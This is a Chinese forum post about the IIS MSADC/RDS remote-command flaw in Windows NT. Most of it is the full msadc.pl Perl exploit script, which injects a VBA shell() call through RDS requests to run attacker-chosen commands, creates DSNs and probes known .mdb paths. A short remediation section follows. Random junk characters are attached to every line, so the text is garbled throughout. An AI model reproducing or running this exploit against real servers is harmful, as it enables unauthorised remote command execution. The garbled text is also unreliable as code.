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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) ^i3!1cS  
[I<J6=  
涉及程序: 8R(l~  
Microsoft NT server hwi_=-SL  
pm[i#V<v  
描述: 66_=bd(9  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 /h]ru SI  
iorQ/(  
详细: <KoOJMx(  
如果你没有时间读详细内容的话,就删除: z  61Fq  
c:\Program Files\Common Files\System\Msadc\msadcs.dll e9QjRx  
有关的安全问题就没有了。 {QOy' 8 /  
Vk[M .=J  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 `v2Xp3o4f  
qIh9? |`U  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 `ah"Q;d$  
关于利用ODBC远程漏洞的描述,请参看: L[`8 :}M  
Q;nC #cg  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 5HY0 *\  
$ma@z0%8}  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 %):pfM;b  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp h2?\A%  
3m$Qd#|  
这里不再论述。 qHd7C3  
taO(\FOm  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: >S{8sN  
53bVhPGv  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset giesof  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! G)o:R iq  
$) qL=kR  
UDgX A  
#将下面这段保存为txt文件,然后: "perl -x 文件名" u6MU @?  
(rBYE[@,  
#!perl E9 @Sc>e  
# \uJ+~db=  
# MSADC/RDS 'usage' (aka exploit) script Fp]ErDan  
# d%E*P4Ua  
# by rain.forest.puppy GR 1%(,  
# Q `-Xx  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me :C={Z}t/F  
# beta test and find errors! B9c gVTLj  
{yd(n_PqY  
use Socket; use Getopt::Std; qc' ;<  
getopts("e:vd:h:XR", \%args); HTm`_}G9  
O+[s4]  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 4#ikdjB;  
vCOtED*<  
if (!defined $args{h} && !defined $args{R}) { 2gEF$?+q?  
print qq~ K&T.~2'>  
Usage: msadc.pl -h <host> { -d <delay> -X -v } z"FxKN~Z  
-h <host> = host you want to scan (ip or domain) %<U0  
-d <seconds> = delay between calls, default 1 second L2%D$!9  
-X = dump Index Server path table, if available Kt/:caD  
-v = verbose RfT)dS+rAh  
-e = external dictionary file for step 5 4<f^/!9w  
g\iSc~%?  
Or a -R will resume a command session wZKmU  
.4<lw  
~; exit;} ,;<M+V3+  
HJlxpX$_  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; _|;{{8*?  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} w`dSc@ :  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 7>AM zNj  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);  <$K7f  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} f=8{cK0j  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 4VC8#x1  
i4M%{]G3Y  
if (!defined $args{R}){ $ret = &has_msadc; Ies` !W^  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} \#F>R,  
5%@~"YCo  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" \H1t<B,  
. "cmd /c "; VS_I'SPPIc  
$in=<STDIN>; chomp $in; s E;2;2u"  
$command="cmd /c " . $in ; ]AN%#1++U  
8u1?\SYnb  
if (defined $args{R}) {&load; exit;} <vxTfE@>bp  
}2Y`Lr  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; "x 3C3Zu.;  
&try_btcustmr; *,=8x\Shp  
4C*0MV  
print "\nStep 2: Trying to make our own DSN..."; ,zZ@QW5  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; ^a1k"|E?f  
z2#k /3%o=  
print "\nStep 3: Trying known DSNs..."; -*kZ2grLt  
&known_dsn; kN 0N18E  
<5G 4|l  
print "\nStep 4: Trying known .mdbs..."; AWA J*6Z  
&known_mdb; g?cxqC<  
)a%E $`   
if (defined $args{e}){ t{`krs``  
print "\nStep 5: Trying dictionary of DSN names..."; #6pJw?[  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } *R7bI?ow  
lB!M;2^)X  
print "Sorry Charley...maybe next time?\n"; ZzP&Zrm  
exit; oqg +<m  
,v?FR }v  
############################################################################## _'n]rQ'  
9XUk.Nek  
sub sendraw { # ripped and modded from whisker G 6xN R  
sleep($delay); # it's a DoS on the server! At least on mine... b7gN|Hw5 H  
my ($pstr)=@_; ]]y,FQ,r  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || _ G2)=yj]  
die("Socket problems\n"); u EERNo&  
if(connect(S,pack "SnA4x8",2,80,$target)){ bHXoZix  
select(S); $|=1; ^SM5oK  
print $pstr; my @in=<S>; {Eqx'j  
select(STDOUT); close(S); r-Y7wM`TZ  
return @in; u_FN'p=.  
} else { die("Can't connect...\n"); }} {]dvzoE]  
!"'6$"U\K  
############################################################################## t oM+Bd:Y  
RS@G.|  
sub make_header { # make the HTTP request :u)Qs#'29  
my $msadc=<<EOT [*5hx_4%B  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 qt4%=E;[  
User-Agent: ACTIVEDATA :lK8i{o  
Host: $ip Mq#Hi9SKY  
Content-Length: $clen *<}R=X.  
Connection: Keep-Alive 46B'Ec  
Q:'r p  
ADCClientVersion:01.06 bXqTc2>=  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 7`^=Ie%(K  
+I}!)$/  
--!ADM!ROX!YOUR!WORLD! 0sCWIGU W  
Content-Type: application/x-varg 8>xd  
Content-Length: $reqlen Lg7dJnf  
Y@ vC!C  
EOT ~aXJ5sY"f&  
; $msadc=~s/\n/\r\n/g; ,F+,A].wG  
return $msadc;} *)vy%\  
R0|4KT-i  
############################################################################## 7$8DMBqq  
-M4VC^_  
sub make_req { # make the RDS request =-qYp0sVP  
my ($switch, $p1, $p2)=@_; $if(n||  
my $req=""; my $t1, $t2, $query, $dsn; k?1e + \  
y'z9Ya  
if ($switch==1){ # this is the btcustmr.mdb query _94R8?\_V7  
$query="Select * from Customers where City=" . make_shell(); Jid_&\  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . o"kL,&  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} kv2 H3O  
2Zg%4/u,Zp  
elsif ($switch==2){ # this is general make table query g[\8s~g,  
$query="create table AZZ (B int, C varchar(10))"; h8;H<Y;yQ  
$dsn="$p1";} 7|o}m}yVx  
*?>52 -&b  
elsif ($switch==3){ # this is general exploit table query ih |&q  
$query="select * from AZZ where C=" . make_shell(); ,vBB". LY'  
$dsn="$p1";} zz8NBO  
VJ1rU mO~  
elsif ($switch==4){ # attempt to hork file info from index server n;~'W*Ln0  
$query="select path from scope()"; =)x+f/c]  
$dsn="Provider=MSIDXS;";} 1)f <  
H;[?8h(  
elsif ($switch==5){ # bad query =Q6JXp  
$query="select"; y I[kaH"J  
$dsn="$p1";} 42:,*4t(  
E 5mYFVK  
$t1= make_unicode($query); ( efxw  
$t2= make_unicode($dsn); m6Qm }""  
$req = "\x02\x00\x03\x00"; Z|A+\#'  
$req.= "\x08\x00" . pack ("S1", length($t1)); M<Y{Cs  
$req.= "\x00\x00" . $t1 ; LKZv#b[h  
$req.= "\x08\x00" . pack ("S1", length($t2)); p }Bh  
$req.= "\x00\x00" . $t2 ; Owv}lJ  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; WHu[A/##']  
return $req;} JIf.d($ ~:  
[fs.D /  
############################################################################## S%wd Xe  
B3I0H6O  
sub make_shell { # this makes the shell() statement >LB*5  
return "'|shell(\"$command\")|'";} z$Qy<_l  
1DN  
############################################################################## jLw|F-v-l<  
G-#rWZ&  
sub make_unicode { # quick little function to convert to unicode ;qcOcm%  
my ($in)=@_; my $out; Dv4 H^  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } -a'D~EGB^  
return $out;} c(!pcB8  
6QNZ/Ox:  
############################################################################## _T;Kn'Gz(&  
.k%/JF91n  
sub rdo_success { # checks for RDO return success (this is kludge) 98vn"=3  
my (@in) = @_; my $base=content_start(@in); AE Abny q  
if($in[$base]=~/multipart\/mixed/){ Kp!A ay  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} &G?w*w_n  
return 0;} ~ cI`$kJ  
j9BcoEl:;  
############################################################################## 3ik~PgGoKQ  
U}l=1B  
sub make_dsn { # this makes a DSN for us at\$ IK_  
my @drives=("c","d","e","f"); urQ<r{$x0  
print "\nMaking DSN: "; zXkq2\GHA  
foreach $drive (@drives) { &egP3  
print "$drive: "; <X?xr f  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . CX ; m8  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" H;+98AIy`  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); 48{B}j%oU  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; X9C:AGbp  
return 0 if $2 eq "404"; # not found/doesn't exist .sb0|3&  
if($2 eq "200") { *T.V5FB0S  
foreach $line (@results) { b27t-p8  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} Rhw+~gd*F  
} return 0;} 7 4hRG~  
6t'.4SR  
############################################################################## -67!u;  
G}aM~,v  
sub verify_exists { X<f4X"y  
my ($page)=@_; n>)h9q S  
my @results=sendraw("GET $page HTTP/1.0\n\n"); v7f[$s$m  
return $results[0];} hb>uHUb&  
V5 Gy|X  
############################################################################## 8< J3Xe  
Bm6t f}8  
sub try_btcustmr { 7lr;S(C  
my @drives=("c","d","e","f"); >A}ra^gU  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 3.rl^Cq1  
XRP+0=0  
foreach $dir (@dirs) { (aB:P03  
print "$dir -> "; # fun status so you can see progress %2^V.`0T  
foreach $drive (@drives) { K1o&(;l8G  
print "$drive: "; # ditto "5<YN#  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; z$VVt ?K  
$reqlenlen=length( "$reqlen" ); GY"c1 KE$  
$clen= 206 + $reqlenlen + $reqlen; :J+ANIRI  
jV<5GWq  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); +^.xLTX`$  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} ]jR-<l8I-  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} L\"eE'A  
{#&D=7LP  
############################################################################## JtF)jRB0,  
{ 3 "jn  
sub odbc_error { i;:}{G<  
my (@in)=@_; my $base;  vF'IK,  
my $base = content_start(@in); ~N )(|N  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this hK3Twzte  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 8L`wib2  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; YI]/gWeu  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; %2beoH'  
return $in[$base+4].$in[$base+5].$in[$base+6];} |{rhks~  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 9MbF:  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . fS%B/h=  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} "Q{7X[$$^  
^C}f|{J  
############################################################################## U?Vik  
]UZP dw1D  
sub verbose { ghk"XJ|  
my ($in)=@_; }$ a *XY1  
return if !$verbose; C\ 34R  
print STDOUT "\n$in\n";} 6HH:K0j3'  
u5`b")a  
############################################################################## %iZ~RTY6 !  
qr~zTBT] E  
sub save { R0F&!y!B  
my ($p1, $p2, $p3, $p4)=@_; *~.'lE%[U  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; ~ x J#NC+  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; -@~4:o  
close OUT;} *]DO3Zw'  
zJOyr"B'8  
############################################################################## 9|K :\!7  
drp< f1`l8  
sub load { $]a*ZHd;2&  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; &C#?&AQ  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); X#X/P  
@p=<IN>; close(IN); J~N!. i  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); }x_:v!G  
$target= inet_aton($ip) || die("inet_aton problems"); r]S"i$  
print "Resuming to $ip ..."; 4OG 1_6K  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; tNAmA  
if($p[1]==1) { HLqDI lL  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; sjHcq5#U!  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; W^eQ}A+Z  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); UAC"jy1D  
if (rdo_success(@results)){print "Success!\n";} I1p{(fJ  
else { print "failed\n"; verbose(odbc_error(@results));}} /KlSI<T@  
elsif ($p[1]==3){ )1<GSr9  
if(run_query("$p[3]")){ BNixp[Hc  
print "Success!\n";} else { print "failed\n"; }} ^Jc|d,u;s  
elsif ($p[1]==4){ ? O9|  
if(run_query($drvst . "$p[3]")){ #5X+. !L  
print "Success!\n"; } else { print "failed\n"; }} %)e&"mq!|  
exit;} Z0M|Bv9_  
fyq %-Tj  
############################################################################## .RbPO#(  
O81'i2M J9  
sub create_table { uzS;&-nA  
my ($in)=@_; ;NGSJfn  
$reqlen=length( make_req(2,$in,"") ) - 28; 66po SZR@  
$reqlenlen=length( "$reqlen" ); m;vm7]5  
$clen= 206 + $reqlenlen + $reqlen; V7k!;0u v  
my @results=sendraw(make_header() . make_req(2,$in,"")); 6s$h _$[X  
return 1 if rdo_success(@results); ? ~oc4J*>(  
my $temp= odbc_error(@results); verbose($temp); :S+Bu*OyH  
return 1 if $temp=~/Table 'AZZ' already exists/; ^[q/w<_j~  
return 0;} 1W7ClT_cQ  
_V3}F1?W  
############################################################################## 6)~7Uf:<v  
z%$M IC  
sub known_dsn { S AKIFNE  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 98CS|NEe  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", c3O&sa V!  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", %KR2Vlh0  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); NHhKEx0Gtu  
YIHGXi<"n  
foreach $dSn (@dsns) { bq{eu#rQJ  
print "."; I0_>ryA  
next if (!is_access("DSN=$dSn")); Qn@[{%),4  
if(create_table("DSN=$dSn")){ Yr>7c1FZi  
print "$dSn successful\n"; (,RL\1zJ  
if(run_query("DSN=$dSn")){ MO|8A18B  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { )ZfbM|  
print "Something's borked. Use verbose next time\n";}}} print "\n";} t;t;+M|W  
n9k-OGJ  
############################################################################## W}WDj:  
pc;`Fz/`7  
sub is_access { )t$-/8  
my ($in)=@_; UvL=^*tm  
$reqlen=length( make_req(5,$in,"") ) - 28; 2hb>6Z;r]K  
$reqlenlen=length( "$reqlen" ); 2Xv$  
$clen= 206 + $reqlenlen + $reqlen; 6<YAoo  
my @results=sendraw(make_header() . make_req(5,$in,"")); t]ID  
my $temp= odbc_error(@results); mwF{z.t"  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); !" @<!  
return 0;} S]gV!Q4%  
< WQ ~X<1D  
############################################################################## N\fj[?f[  
Wyb+K)Tg  
sub run_query { z#d*Odc  
my ($in)=@_; ]5e|W Q>*X  
$reqlen=length( make_req(3,$in,"") ) - 28; zTw<9Nf  
$reqlenlen=length( "$reqlen" ); 12}!oS~_  
$clen= 206 + $reqlenlen + $reqlen; QF$s([  
my @results=sendraw(make_header() . make_req(3,$in,"")); f/sLQdK,  
return 1 if rdo_success(@results); +O7GgySx  
my $temp= odbc_error(@results); verbose($temp); (b7',:_U7  
return 0;} /LG}nY  
<4-g2.\  
############################################################################## >|1-o;UU  
H^jcWwy:  
sub known_mdb { 9{-H/YS\_s  
my @drives=("c","d","e","f","g"); ~b6c:db3  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ].@8/. rg  
my $dir, $drive, $mdb; </2Cn@  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; @CKMJ^#|  
q( %)^C  
# this is sparse, because I don't know of many $,nidK!"  
my @sysmdbs=( "\\catroot\\icatalog.mdb", Ru$%gh>v  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", zw0u|q;#  
"\\system32\\certmdb.mdb", Y,-! QFS#  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% yB4eUa!1  
{3``B#}  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", j 5bHzcv  
"\\cfusion\\cfapps\\forums\\forums_.mdb",  4Gj  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", &3\3wcZ,q  
"\\cfusion\\cfapps\\security\\realm_.mdb", ~eXI}KhBw6  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", $?DEO[p.  
"\\cfusion\\database\\cfexamples.mdb", ,2mq}u>WU  
"\\cfusion\\database\\cfsnippets.mdb", m1RjD$fM  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", q<cxmo0S  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", >oapw5~5  
"\\cfusion\\brighttiger\\database\\cleam.mdb", <Kk?BRxi  
"\\cfusion\\database\\smpolicy.mdb", Xc<Hm  
"\\cfusion\\database\cypress.mdb", hwSxdT6  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", ?2K~']\S  
"\\website\\cgi-win\\dbsample.mdb", l=<},_]{  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", u&e?3qKX(  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" w3"%d~/[x  
); #these are just n9V8A[QJ  
foreach $drive (@drives) { Tz7|OV_W$  
foreach $dir (@dirs){ i4)]lWnd  
foreach $mdb (@sysmdbs) { FaKZ|~Y e  
print "."; <=%G%V_s  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ Q5*"t*L!N  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; k|cP]p4,  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ ;b 'L2  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; N({-&A.N  
} else { print "Something's borked. Use verbose next time\n"; }}}}} _RWH$L9  
M`?ATmYy  
foreach $drive (@drives) { )!'7!" $  
foreach $mdb (@mdbs) { yp< )v(8|'  
print "."; dlwOmO'Bm)  
if(create_table($drv . $drive . $dir . $mdb)){ fbJa$  
print "\n" . $drive . $dir . $mdb . " successful\n"; SOluTFxUw  
if(run_query($drv . $drive . $dir . $mdb)){ vtRz;~,Z  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; zT'(I6 S:)  
} else { print "Something's borked. Use verbose next time\n"; }}}} Q 34-a"6)  
} P8 R^46  
VYQ]?XF3i  
############################################################################## 5L,q,kVS  
S~^]ib0  
sub hork_idx { /&5:v%L  
print "\nAttempting to dump Index Server tables...\n"; )+f"J$ah  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; sc z8 `%  
$reqlen=length( make_req(4,"","") ) - 28; .G>~xm0  
$reqlenlen=length( "$reqlen" ); t6~~s iQI'  
$clen= 206 + $reqlenlen + $reqlen; ogoEtKi  
my @results=sendraw2(make_header() . make_req(4,"","")); J4?SC+\  
if (rdo_success(@results)){ xj JoWB  
my $max=@results; my $c; my %d; 0RN7hpf&`  
for($c=19; $c<$max; $c++){ SU(J  
$results[$c]=~s/\x00//g; xN6}4JB  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; a@#<qf8g  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; +#6f)H(P]  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; R  xc  
$d{"$1$2"}="";} G9CL}=lJ,  
foreach $c (keys %d){ print "$c\n"; } J!yK/*sO,  
} else {print "Index server doesn't seem to be installed.\n"; }} M[L@ej  
0<nW nD,z  
############################################################################## 5[P^O6'  
AH^'E  
sub dsn_dict { 2c3/iYCKP  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); o}yA{<"  
while(<IN>){ |oR#j `  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; n`p/;D=?  
next if (!is_access("DSN=$dSn")); m[Qr>="  
if(create_table("DSN=$dSn")){ e<"sZK  
print "$dSn successful\n"; 3(1UI u  
if(run_query("DSN=$dSn")){ 4hW:c0  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { tD]vx`0>  
print "Something's borked. Use verbose next time\n";}}} LftzW{>gI"  
print "\n"; close(IN);} jK2gc^"t  
y 48zsm{  
############################################################################## /Ur]U w  
Rj-4K@a8#N  
sub sendraw2 { # ripped and modded from whisker #/)U0 IR)  
sleep($delay); # it's a DoS on the server! At least on mine... r<'B\.#tp>  
my ($pstr)=@_; %< Jj[F  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || %/R[cj 8  
die("Socket problems\n"); /.(F\2+A  
if(connect(S,pack "SnA4x8",2,80,$target)){ F mQiy+.|  
print "Connected. Getting data"; 7+rroCr"  
open(OUT,">raw.out"); my @in; $^W|@et{ ]  
select(S); $|=1; print $pstr; >skl-f  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} t!0 IQ9\[*  
close(OUT); select(STDOUT); close(S); return @in; |C7=$DgwY  
} else { die("Can't connect...\n"); }} S0;s 7X#c  
}1NNXxQ  
############################################################################## ;s5JYR  
I3YSW  
sub content_start { # this will take in the server headers 3 op{h6  
my (@in)=@_; my $c; N^jr  
for ($c=1;$c<500;$c++) { ;B;wU.Y"  
if($in[$c] =~/^\x0d\x0a/){ ?*cCn-|  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 3&B- w  
else { return $c+1; }}} (>gb9n  
return -1;} # it should never get here actually <M\#7.](  
@y,>cDg  
############################################################################## #W/ATsDt  
jr^btVOI#\  
sub funky { ty8E;[ '  
my (@in)=@_; my $error=odbc_error(@in); "4.A@XsY  
if($error=~/ADO could not find the specified provider/){ AdRK)L  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; ephvvj~zW4  
exit;} &Vg)/t;  
if($error=~/A Handler is required/){ [2z >8 SL  
print "\nServer has custom handler filters (they most likely are patched)\n"; 8aW<lu  
exit;} >&Vz/0  
if($error=~/specified Handler has denied Access/){ Y7 e1%,$v  
print "\nServer has custom handler filters (they most likely are patched)\n"; _]us1  
exit;}} (_fovV=  
)yS8(F0  
############################################################################## ](z*t+">  
,6x>gcR  
sub has_msadc { RF'&.RtVa  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); B%z+\<3^q  
my $base=content_start(@results); l2kUa'O-  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); 5PE}3he:  
return 0;} u3IhB8'  
"nU] 2  
######################## P-X2A2  
|^gnT`+  
MK <\:g  
解决方案: P5v;o9B&  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll LVJn2t^  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 0Q[;{}W}  
k!d<2Qp W  
拿出来充数 哈哈
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